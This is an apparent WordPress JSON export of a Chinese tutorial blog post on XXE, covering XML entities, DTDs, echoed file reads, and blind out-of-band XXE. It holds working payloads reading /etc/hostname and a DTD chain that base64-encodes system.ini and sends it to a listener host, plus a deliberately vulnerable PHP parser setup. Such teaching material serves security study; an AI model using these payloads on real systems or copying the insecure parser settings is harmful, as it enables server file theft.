{"id":2611,"date":"2026-10-15T18:35:40","date_gmt":"2026-10-15T10:35:40","guid":{"rendered":"http:\/\/charlottezhiend.cn:8080\/?p=2611"},"modified":"2026-10-16T11:44:19","modified_gmt":"2026-10-16T03:44:19","slug":"11-2","status":"publish","type":"post","link":"http:\/\/charlottezhiend.cn:8080\/index.php\/2026\/10\/15\/11-2\/","title":{"rendered":"XXE OOB"},"content":{"rendered":"\n

XML\u6ce8\u5165XXE\uff0c\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\u3002\u5176\u672c\u8d28\u662f\u5e94\u7528\u7a0b\u5e8f\u89e3\u6790\u7528\u6237\u53ef\u63a7\u7684XML\u6570\u636e\u65f6\uff0c\u5982\u679cXML\u89e3\u6790\u5668\u5141\u8bb8\u52a0\u8f7d\u5916\u90e8\u5b9e\u4f53\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u80fd\u901a\u8fc7\u6076\u610f\u5b9e\u4f53\u58f0\u660e\uff0c\u6709\u9053\u670d\u52a1\u5668\u8bbf\u95ee\u672c\u5730\u6587\u4ef6\u6216\u8005\u5916\u90e8\u7f51\u7edc\u8d44\u6e90\u3002<\/p>\n\n\n\n

XML<\/h2>\n\n\n\n
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<user>\n    <username>admin<\/username>\n    <password>123456<\/password>\n<\/user><\/code><\/pre>\n\n\n\n
\u5143\u7d20<\/th>\u4f5c\u7528<\/th><\/tr>
<?xml ... ?><\/code><\/td>XML \u58f0\u660e\uff0c\u6307\u5b9a\u7248\u672c\u3001\u7f16\u7801<\/td><\/tr>
<user><\/code><\/td>\u6839\u5143\u7d20<\/td><\/tr>
<username><\/code><\/td>\u5b50\u5143\u7d20\uff0c\u4fdd\u5b58\u6570\u636e<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
\u89e3\u6790\u5668\u8bfb\u53d6XML\u540e\uff0c\u901a\u5e38\u4f1a\u5c06\u5176\u8f6c\u6362\u6210\u7a0b\u5e8f\u80fd\u591f\u64cd\u4f5c\u7684\u6570\u636e\u7ed3\u6784\u3002<\/p>\n\n\n\n
\u6b63\u5e38\u60c5\u51b5\u4e0b\uff0c\u5e94\u7528\u53ea\u9700\u8981\u83b7\u5f97XML\u6587\u6863\u91cc\u7684\u4e1a\u52a1\u6570\u636e\u3002\u4f46\u662fXML\u8fd8\u652f\u6301\u4e00\u79cd\u7279\u6b8a\u673a\u5236\uff1a\u5b9e\u4f53<\/p>\n\n\n\n
XML\u5b9e\u4f53\u4e0eDTD<\/h2>\n\n\n\n
DTD\uff0c\u5168\u79f0Document Type Definition\uff0c\u5373\u6587\u6863\u7c7b\u578b\u5b9a\u4e49\u3002\u5b83\u53ef\u4ee5\u7528\u6765\u5b9a\u4e49XML\u6587\u6863\u5141\u8bb8\u7684\u7ed3\u6784\uff0c\u4e5f\u53ef\u4ee5\u58f0\u660e\u5b9e\u4f53\u3002<\/p>\n\n\n\n
<?xml version=\"1.0\"?>\n<!DOCTYPE user [\n    <!ENTITY name \"zhangsan\"> \/\/\u58f0\u660e\u540d\u4e3aname\u7684\u5185\u90e8\u901a\u7528\u5b9e\u4f53\n]>\n<user>\n    <username>&name;<\/username> \/\/\u5f15\u7528\u8be5\u5b9e\u4f53\n<\/user><\/code><\/pre>\n\n\n\n
\u5185\u90e8\u5b9e\u4f53 VS \u5916\u90e8\u5b9e\u4f53<\/strong><\/p>\n\n\n\n
\u5185\u90e8\u5b9e\u4f53<\/p>\n\n\n\n
<!ENTITY test \"Hello XXE\"><\/code><\/pre>\n\n\n\n
\u5916\u90e8\u5b9e\u4f53<\/p>\n\n\n\n
<!ENTITY test SYSTEM \"file:\/\/\/etc\/hostname\"><\/code><\/pre>\n\n\n\n
\u4e3b\u8981\u533a\u522b\u5728\u4e8e\uff1a<\/strong>
\u5185\u90e8\u5b9e\u4f53\u7684\u503c\u76f4\u63a5\u5199\u5728DTD\u4e2d
\u5916\u90e8\u5b9e\u4f53\u7684\u5185\u5bb9\u9700\u8981\u89e3\u6790\u5668\u8bbf\u95ee\u6307\u5b9a\u8d44\u6e90\u624d\u80fd\u83b7\u53d6
SYSTEM\u540e\u9762\u6307\u5b9a\u7684\u662f\u7cfb\u7edf\u6807\u8bc6\u7b26\uff0c\u53ef\u4ee5\u662f\u6587\u4ef6URI\uff0c\u4e5f\u53ef\u4ee5\u662fHTTP\u7b49URI\uff0c\u5177\u4f53\u652f\u6301\u4ec0\u4e48\u53d6\u51b3\u4e8e\u89e3\u6790\u5668\u548c\u5b89\u5168\u914d\u7f6e\u3002<\/p>\n\n\n\n
XXE\u6f0f\u6d1e\u7684\u5173\u952e\u4e0d\u5728\u4e8e\u5b9e\u4f53\u58f0\u660e\u672c\u8eab\uff0c\u800c\u5728\u4e8e\u89e3\u6790\u5668\u662f\u5426\u4f1a\u8bbf\u95ee\u653b\u51fb\u8005\u6307\u5b9a\u7684\u5916\u90e8\u8d44\u6e90<\/strong><\/p>\n\n\n\n
XXE\uff1a\u6709\u56de\u663e\u7684\u6587\u4ef6\u8bfb\u53d6<\/h2>\n\n\n\n
<?xml version=\"1.0\"?>\n<!DOCTYPE user [\n    <!ENTITY xxe SYSTEM \"file:\/\/\/etc\/hostname\">\n]>\n<user>\n    <username>&xxe;<\/username>\n<\/user><\/code><\/pre>\n\n\n\n
\u5047\u8bbe\u670d\u52a1\u7aef\u7684\/etc\/hostname\u6587\u4ef6\u5185\u5bb9\u662f<\/p>\n\n\n\n
web-server-01<\/code><\/pre>\n\n\n\n
\u5982\u679cXML\u89e3\u6790\u5668\u542f\u7528\u4e86\u5916\u90e8\u5b9e\u4f53\u89e3\u6790\uff0c\u5e76\u4e14\u5e94\u7528\u7a0b\u5e8f\u5c06\u89e3\u6790\u540e\u7684username\u8fd4\u56de\uff0c\u54cd\u5e94\u53ef\u80fd\u662f<\/p>\n\n\n\n
<user>\n    <username>web-server-01<\/username>\n<\/user><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u771f\u6b63\u6267\u884c\u6587\u4ef6\u8bfb\u53d6\u64cd\u4f5c\u7684\u662fXML\u89e3\u6790\u5668\uff0c\u800c\u4e0d\u662fXML\u670d\u52a1\u4ee3\u7801\u663e\u5f0f\u8c03\u7528\u4e86\u6587\u4ef6\u8bfb\u53d6\u51fd\u6570<\/strong><\/p>\n\n\n\n
Blind XXE\u4e0eXXE OOB<\/h2>\n\n\n\n
\u4e3a\u4ec0\u4e48\u9700\u8981XXE OOB\uff1f<\/strong><\/p>\n\n\n\n
\u5047\u8bbe\u5b58\u5728\u8fd9\u6837\u7684\u4e1a\u52a1\u573a\u666f\uff1a<\/p>\n\n\n\n
POST \/api\/user HTTP\/1.1\nContent-Type: application\/xml<\/code><\/pre>\n\n\n\n
\u8bf7\u6c42\u4f53<\/p>\n\n\n\n
<?xml version=\"1.0\"?>\n<user>\n    <username>admin<\/username>\n<\/user><\/code><\/pre>\n\n\n\n
\u670d\u52a1\u5668\u63a5\u6536XML\uff0c\u89e3\u6790\u540e\u53ea\u8fd4\u56de<\/p>\n\n\n\n
{\"code\":200,\"message\":\"success\"}<\/code><\/pre>\n\n\n\n
\u5373\u4f7f\u89e3\u6790\u5668\u80fd\u591f\u8bbf\u95ee\u5916\u90e8\u8d44\u6e90\uff0c\u6211\u4eec\u4e5f\u65e0\u6cd5\u901a\u8fc7HTTP\u54cd\u5e94\u6765\u76f4\u63a5\u83b7\u53d6\u5b9e\u4f53\u5c55\u5f00\u7684\u7ed3\u679c\uff0c\u662f\u4e00\u4e2a\u975e\u5e38\u7ecf\u5178\u7684\u76f2\u6ce8\u573a\u666f\u3002<\/strong><\/p>\n\n\n\n
XXE OOB\u5219\u662f\u5229\u7528\u670d\u52a1\u5668\u5411\u5916\u90e8\u5730\u5740\u53d1\u8d77\u8bf7\u6c42\uff0c\u901a\u8fc7\u72ec\u7acb\u4e8e\u539f\u59cbHTTP\u54cd\u5e94\u7684\u901a\u9053\u89c2\u5bdf\u89e3\u6790\u5668\u884c\u4e3a\uff0c\u67d0\u4e9b\u60c5\u51b5\u4e0b\u8fd8\u53ef\u4ee5\u4f20\u8f93\u6570\u636e\u3002<\/strong><\/p>\n\n\n\n
\u4ee5PHP\u4ee3\u7801\u4e3a\u4f8b<\/p>\n\n\n\n
<?php\nlibxml_disable_entity_loader(false);\n\n\/\/ \u4ece\u539f\u59cb\u8bf7\u6c42\u4f53\u8bfb\u53d6 XML\n$xml = file_get_contents('php:\/\/input');\n\n$dom = new DOMDocument();\n$dom->loadXML(\n    $xml,\n    LIBXML_NOENT | LIBXML_DTDLOAD\n);\n\n\/\/ \u4e0d\u505a\u4efb\u4f55\u8f93\u51fa\n\/\/ \u9875\u9762\u8868\u73b0\u4e3a\u7a7a\u767d\uff0c\u4f46 XML \u5df2\u88ab\u89e3\u6790\n?><\/code><\/pre>\n\n\n\n
\u8be5\u4ee3\u7801\u4e2d\u867d\u7136\u6ca1\u6709\u4efb\u4f55 echo \/ print \u8f93\u51fa<\/strong>\uff0c\u4f46\u7531\u4e8e\u5f00\u542f\u4e86 LIBXML_NOENT | LIBXML_DTDLOAD<\/code>\uff0c\u5916\u90e8\u5b9e\u4f53\u4f9d\u7136\u4f1a\u88ab\u89e3\u6790\u548c\u52a0\u8f7d\uff0c\u6f0f\u6d1e\u4f9d\u65e7\u5b58\u5728\u3002<\/p>\n\n\n\n
\u53d1\u9001\u4e00\u4e2axml\u53d1\u73b0\u65e0\u56de\u663e\u53ea\u6709200\u54cd\u5e94\u8fd4\u56de<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u65f6\u5019\u53ea\u80fd\u901a\u8fc7\u5916\u5e26\u7684\u5f62\u5f0f\u6765\u5c06\u60f3\u8981\u83b7\u53d6\u7684\u6570\u636e<\/p>\n\n\n\n
XML\u89e3\u6790\u5668\u901a\u8fc7HTTP\u534f\u8bae\u52a0\u8f7d\u5916\u90e8DTD\uff0c\u5728\u89e3\u6790\u5668\u5185\u90e8\u5904\u7406DTD\u5185\u5bb9<\/strong><\/p>\n\n\n\n
<!DOCTYPE convert [\n<!ENTITY % remote SYSTEM \"http:\/\/127.0.0.1:8001\/eval.dtd\">\n%remote;%int;%send;\n]><\/code><\/pre>\n\n\n\n
\u5904\u7406\u7684DTD\u5185\u5bb9\u5982\u4e0b<\/strong><\/p>\n\n\n\n
<!ENTITY % file SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=file:\/\/\/c:\/windows\/system.ini\">\n<!ENTITY % int \"<!ENTITY &#37; send SYSTEM 'http:\/\/127.0.0.1:8001?p=%file;'>\">    <\/code><\/pre>\n\n\n\n
\u4e09\u4e2a\u5b9e\u4f53\u5f15\u7528\u5b9e\u73b0OOB\uff0c\u89e3\u6790\u5668\u52a0\u8f7d\u5916\u90e8DTD\uff0c\u6700\u540e\u5c06\u6570\u636e\u53d1\u9001\u56de\u5230VPS<\/strong><\/p>\n\n\n\n
\u4e3a\u4ec0\u4e48 XXE OOB \u591a\u4f7f\u7528\u53c2\u6570\u5b9e\u4f53\uff0c\u800c\u4e0d\u662f\u901a\u7528\u5b9e\u4f53\uff1f<\/strong><\/p>\n\n\n\n
\u901a\u7528\u5b9e\u4f53\u4e3b\u8981\u670d\u52a1\u4e8e XML \u6587\u6863\u5185\u5bb9\uff0c\u800c\u53c2\u6570\u5b9e\u4f53\u670d\u52a1\u4e8e DTD \u58f0\u660e\u7684\u7ec4\u7ec7\u4e0e\u5c55\u5f00\u3002<\/p>\n\n\n\n
\u901a\u7528\u5b9e\u4f53<\/strong><\/p>\n\n\n\n
<?xml version=\"1.0\"?>\n<!DOCTYPE user [\n    <!ENTITY name \"admin\">\n]>\n<user>&name;<\/user><\/code><\/pre>\n\n\n\n
&name;<\/code> \u51fa\u73b0\u5728 XML \u6b63\u6587\u4e2d\u3002<\/p>\n\n\n\n
\u89e3\u6790\u5668\u5904\u7406 <user><\/code> \u5143\u7d20\u65f6\uff0c\u5c06\u5b83\u5c55\u5f00\u4e3a admin<\/code>\u3002<\/p>\n\n\n\n
\u8fd9\u975e\u5e38\u9002\u5408\u6709\u56de\u663e\u7684 XXE \u573a\u666f\u3002<\/p>\n\n\n\n
\u53c2\u6570\u5b9e\u4f53<\/strong><\/p>\n\n\n\n
<?xml version=\"1.0\"?>\n<!DOCTYPE user [\n    <!ENTITY % declaration \"<!ENTITY name 'admin'>\">\n    %declaration;\n]>\n<user>&name;<\/user><\/code><\/pre>\n\n\n\n
\u7b2c\u4e00\u6b21\uff1a\u53c2\u6570\u5b9e\u4f53\u5c55\u5f00<\/p>\n\n\n\n
%declaration;<\/code><\/pre>\n\n\n\n
\u4ea7\u751f\u4e00\u6761\u65b0\u7684\u5b9e\u4f53\u58f0\u660e\uff1a<\/p>\n\n\n\n
<!ENTITY name 'admin'><\/code><\/pre>\n\n\n\n
\u7b2c\u4e8c\u6b21\uff1a\u901a\u7528\u5b9e\u4f53\u5c55\u5f00<\/p>\n\n\n\n
&name;<\/code><\/pre>\n\n\n\n
\u5f97\u5230\uff1a<\/p>\n\n\n\n
admin<\/code><\/pre>\n\n\n\n
\u56e0\u6b64\uff0c\u53c2\u6570\u5b9e\u4f53\u4e0d\u4ec5\u4ec5\u662f\u4fdd\u5b58\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u66f4\u91cd\u8981\u7684\u662f\u5b83\u7684\u66ff\u6362\u6587\u672c\u53ef\u4ee5\u88ab\u89e3\u6790\u5668\u5f53\u4f5c DTD \u58f0\u660e\u7ee7\u7eed\u89e3\u6790\u3002\u800c OOB \u7ecf\u5e38\u9700\u8981\u5728 DTD \u5904\u7406\u671f\u95f4\u6784\u9020\u989d\u5916\u7684\u5916\u90e8\u8d44\u6e90\u5f15\u7528\u3002\u6240\u4ee5\u53c2\u6570\u5b9e\u4f53\u66f4\u9002\u5408\u8fd9\u4e2a\u573a\u666f\u3002<\/p>\n\n\n\n
\u4e3a\u4ec0\u4e48\u591a\u5c42\u53c2\u6570\u5b9e\u4f53\u5728\u5916\u90e8 DTD \u4e2d\u53ef\u4ee5\u5de5\u4f5c\uff0c\u5728\u5185\u90e8 DTD \u4e2d\u5374\u53ef\u80fd\u62a5\u9519<\/strong><\/p>\n\n\n\n
\u7b2c\u4e00\u79cd\uff1a\u5185\u90e8 DTD \u4e2d\u5408\u6cd5\u7684\u53c2\u6570\u5b9e\u4f53\u5f15\u7528<\/p>\n\n\n\n
<?xml version=\"1.0\"?>\n<!DOCTYPE user [\n    <!ENTITY % type \"(name)\">\n    %type;\n]>\n<user>admin<\/user><\/code><\/pre>\n\n\n\n
\u8fd9\u91cc %type;<\/code> \u4f4d\u4e8e\u4e24\u4e2a DTD \u58f0\u660e\u4e4b\u95f4\uff0c\u5f15\u7528\u4f4d\u7f6e\u672c\u8eab\u662f\u5141\u8bb8\u7684\u3002<\/p>\n\n\n\n
\u4f46\u662f\u5b83\u5c55\u5f00\u5f97\u5230\uff1a<\/p>\n\n\n\n
(name)<\/code><\/pre>\n\n\n\n
\u8fd9\u5e76\u4e0d\u662f\u4e00\u6761\u5408\u6cd5\u7684 DTD \u58f0\u660e\uff0c\u56e0\u6b64\u6574\u4e2a DTD \u4ecd\u7136\u4f1a\u62a5\u9519\u3002<\/p>\n\n\n\n
\u7b2c\u4e8c\u79cd\uff1a\u5185\u90e8 DTD \u4e2d\u975e\u6cd5\u7684\u53c2\u6570\u5b9e\u4f53\u5d4c\u5957<\/p>\n\n\n\n
<?xml version=\"1.0\"?>\n<!DOCTYPE user [\n    <!ENTITY % type \"(#PCDATA)\">\n    <!ELEMENT user %type;>\n]>\n<user>admin<\/user><\/code><\/pre>\n\n\n\n
\u95ee\u9898\u5728\u8fd9\u4e00\u884c\uff1a<\/p>\n\n\n\n
<!ELEMENT user %type;><\/code><\/pre>\n\n\n\n
\u56e0\u4e3a %type;<\/code> \u51fa\u73b0\u5728 <!ELEMENT ...><\/code> \u58f0\u660e\u5185\u90e8\u3002<\/p>\n\n\n\n
\u8fd9\u8fdd\u53cd\u4e86\u5185\u90e8 DTD \u5b50\u96c6\u7684\u53c2\u6570\u5b9e\u4f53\u5f15\u7528\u4f4d\u7f6e\u9650\u5236\u3002<\/p>\n\n\n\n
\u4e0d\u662f\u56e0\u4e3a\u5b9e\u4f53\u5d4c\u5957\u5c42\u6570\u592a\u591a\uff0c\u800c\u662f\u56e0\u4e3a\u5f15\u7528\u6240\u5904\u7684\u4f4d\u7f6e\u4e0d\u5408\u6cd5\u3002<\/p>\n\n\n\n
\u7b2c\u4e09\u79cd\uff1a\u76f8\u540c\u58f0\u660e\u653e\u5230\u5916\u90e8 DTD<\/p>\n\n\n\n
\u5047\u8bbe user.dtd<\/code> \u7684\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n\n\n
<!ENTITY % type \"(#PCDATA)\">\n<!ELEMENT user %type;><\/code><\/pre>\n\n\n\n
\u4e3b XML \u6587\u4ef6\uff1a<\/p>\n\n\n\n
<?xml version=\"1.0\"?>\n<!DOCTYPE user SYSTEM \"user.dtd\">\n<user>admin<\/user><\/code><\/pre>\n\n\n\n
\u5728\u89e3\u6790\u5668\u5141\u8bb8\u8bfb\u53d6\u8be5\u5916\u90e8 DTD \u7684\u524d\u63d0\u4e0b\uff0c\u4e0a\u9762\u7684\u5199\u6cd5\u662f\u5408\u6cd5\u7684\u3002<\/p>\n\n\n\n
\u56e0\u4e3a\u8fd9\u91cc\uff1a<\/p>\n\n\n\n
<!ELEMENT user %type;><\/code><\/pre>\n\n\n\n
\u4f4d\u4e8e\u5916\u90e8 DTD \u5b50\u96c6\u4e2d\u3002<\/p>\n\n\n\n
\u53c2\u6570\u5b9e\u4f53\u5c55\u5f00\u540e\uff1a<\/p>\n\n\n\n
<!ELEMENT user (#PCDATA)><\/code><\/pre>\n\n\n\n
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\u60c5\u51b5<\/th>\u662f\u5426\u7b26\u5408 XML \u8bed\u6cd5<\/th><\/tr>
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